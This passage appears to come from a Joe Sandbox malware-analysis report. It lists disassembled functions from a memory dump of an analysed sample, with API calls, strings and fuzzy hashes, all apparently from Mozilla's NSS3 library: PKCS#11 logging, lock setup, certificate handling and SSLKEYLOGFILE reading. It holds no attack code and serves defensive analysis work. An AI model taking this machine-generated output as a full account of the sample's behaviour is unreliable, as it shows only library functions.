PL_FreeArenaPool.NSS3(?), ref: 6C67A067
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A055

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A07E
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C67A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C67A0CF
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A12E
PL_FreeArenaPool.NSS3(?), ref: 6C67A140
PL_FinishArenaPool.NSS3(?), ref: 6C67A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A158
PL_FinishArenaPool.NSS3(?), ref: 6C67A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C67A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67A1B2
free.MOZGLUE(00000000), ref: 6C67A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C67A1D6

Part of subcall function 6C6955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5,00000003,-00000004,00000000,?,6C66EAC5), ref: 6C695627
Part of subcall function 6C6955E0: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B), ref: 6C69564F
Part of subcall function 6C6955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C695661
Part of subcall function 6C6955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5), ref: 6C6956AF

Strings

security, xrefs: 6C67A00F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction ID: 7d7db5065df9df95db9942e8cd8d3b8136aba2c4a1a90e86841dd5ea4fda52e4
Opcode Fuzzy Hash: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction Fuzzy Hash: 5E51E875D00209ABEB209BA4DC44BAF7379AF4230CF105924E805BAB42F771D559C7BE

Function 6C686D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C686D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686DC3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C686DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C686E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C686E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C686E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C686EB9

Strings

*pulDigestLen = 0x%x, xrefs: 6C686EB4
C_Digest, xrefs: 6C686D81
pulDigestLen = 0x%p, xrefs: 6C686E42
hSession = 0x%x, xrefs: 6C686D9E, 6C686DAE
nvl, xrefs: 6C686E61, 6C686E95
pDigest = 0x%p, xrefs: 6C686E27
pData = 0x%p, xrefs: 6C686DF5
ulDataLen = %d, xrefs: 6C686E0E
(CK_INVALID_HANDLE), xrefs: 6C686DBC

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nvl
API String ID: 1003633598-1341204591
Opcode ID: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction ID: 419655d85b141ac2d809aaca5a68e7164a6365c178cd1c9b329bffc53f46eb1f
Opcode Fuzzy Hash: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction Fuzzy Hash: 4B41C575612108AFDB109F55DE4DF8A3BB2AB4335CF044034E909ABA11DB30E949CBBE

Function 6C689C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C689C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C689CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C689CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C689D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C689D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C689D42

Strings

C_LoginUser, xrefs: 6C689C61
ulUsernameLen = %d, xrefs: 6C689D3D
pPin = 0x%p, xrefs: 6C689CF0
userType = 0x%x, xrefs: 6C689CD5
hSession = 0x%x, xrefs: 6C689C7E, 6C689C8E
nvl, xrefs: 6C689D5A, 6C689D91
pUsername = 0x%p, xrefs: 6C689D24
(CK_INVALID_HANDLE), xrefs: 6C689C9C
ulPinLen = %d, xrefs: 6C689D0B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nvl
API String ID: 1003633598-3871879280
Opcode ID: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction ID: 97001691560bb6bbf9f960e1ba66711bcb3e7fff6fbce1c23f885c0641adbd44
Opcode Fuzzy Hash: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction Fuzzy Hash: CE41B171603548AFDB009F55DE4CE9A3BB2AB4331DF488034E9096BA51DB319918CBBE

Function 6C694C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C694C4C
EnterCriticalSection.KERNEL32(?), ref: 6C694C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694DB7

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C694DD7
EnterCriticalSection.KERNEL32(?), ref: 6C694DEC
PR_Unlock.NSS3(?), ref: 6C694E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C694E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C694E71
free.MOZGLUE(00000000), ref: 6C694E7A
PR_Unlock.NSS3(?), ref: 6C694EA2
TlsGetValue.KERNEL32 ref: 6C694EC1
EnterCriticalSection.KERNEL32(?), ref: 6C694ED6
PR_Unlock.NSS3(?), ref: 6C694F01
free.MOZGLUE(00000000), ref: 6C694F2A

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction ID: c7eadba8dfdcf8d112905d5e7f89dc14206fe8fe0b03632c4973cecca49b379e
Opcode Fuzzy Hash: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction Fuzzy Hash: ADB10075A00206EFDB00EF68D884BBA77B4BF0A318F044174ED2597B11EB71E965CB99

Function 6C69FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFB4

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFC6

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFD6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFE6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFF6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0006
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0016
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0026
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0036
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0046
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0056
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0066
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0076
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0086
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0096
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00A6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00B6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00C6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00D6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00E6

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction ID: 46c0be7224f279011e5d4f149d0e3a213e0c61ad0ddb1409ee3b8ea372c33888
Opcode Fuzzy Hash: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction Fuzzy Hash: EB3139F0E1B7149E8B45EF26C24C94ABAF4BB26688714553AE02487F10DB74494BCFDD

Function 6C6E6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6E6BF7), ref: 6C6E6EB6

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C78FC0A,6C6E6BF7), ref: 6C6E6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6E6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6E6EFC
PR_NewLock.NSS3 ref: 6C6E6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6E6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6E6BF7), ref: 6C6E6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6E6BF7), ref: 6C6E6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6E6BF7), ref: 6C6E6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6E6BF7), ref: 6C6E6FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6E6EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6E6FF8
SSLFORCELOCKS, xrefs: 6C6E6F2B
SSLKEYLOGFILE, xrefs: 6C6E6EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6E6FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6E6F4F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction ID: bfaa7fc9e1db0d61847c1811fb0bf64da549d59bd5bfb9ea467bde6d475f0f21
Opcode Fuzzy Hash: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction Fuzzy Hash: 6EA119B2A5FD8587E7504A3CCD0178432A6AB8B32AF584377EA31C7ED6DB35D480824D

Function 6C665DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C665DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C665E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C665E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C665E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C665EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C665ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C665F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C665F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C665F89
free.MOZGLUE(?), ref: 6C665FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C665FB6
free.MOZGLUE(00000000), ref: 6C665FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C666079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666094

Strings

, xrefs: 6C665EEB

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction ID: 10cc2dcea2be0ec3e3dd28649f9d367e685084ceadb61b549844765db08a7210
Opcode Fuzzy Hash: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction Fuzzy Hash: FB8114B1E002059BDF108F66DD82BAE77B5AF45318F144128E859A7F82E731E815CBDB

Function 6C684E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C684E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684EC7

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C684F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C684F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C684F68

Strings

ulCount = %d, xrefs: 6C684F63
pTemplate = 0x%p, xrefs: 6C684F4A
C_GetAttributeValue, xrefs: 6C684E7E
hSession = 0x%x, xrefs: 6C684EA2, 6C684EB2
hObject = 0x%x, xrefs: 6C684EF5, 6C684F05
nvl, xrefs: 6C684F82, 6C684FB2
(CK_INVALID_HANDLE), xrefs: 6C684EC0, 6C684F13

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nvl
API String ID: 1003633598-93353135
Opcode ID: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction ID: f6e14b3d736c57f279b726a741a7e004b96aca9608d797e3e296e14d28d058eb
Opcode Fuzzy Hash: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction Fuzzy Hash: A741B871603148ABDB00DF55DE8CFAA77B9AF5231DF044038E9096BA51DB709948CB7E

Function 6C684CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C684CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D37

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C684DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C684DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C684E20

Strings

pulSize = 0x%p, xrefs: 6C684DB7
hSession = 0x%x, xrefs: 6C684D12, 6C684D22
hObject = 0x%x, xrefs: 6C684D65, 6C684D75
nvl, xrefs: 6C684DD4, 6C684DFF
*pulSize = 0x%x, xrefs: 6C684E1B
C_GetObjectSize, xrefs: 6C684CEE
(CK_INVALID_HANDLE), xrefs: 6C684D30, 6C684D83

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
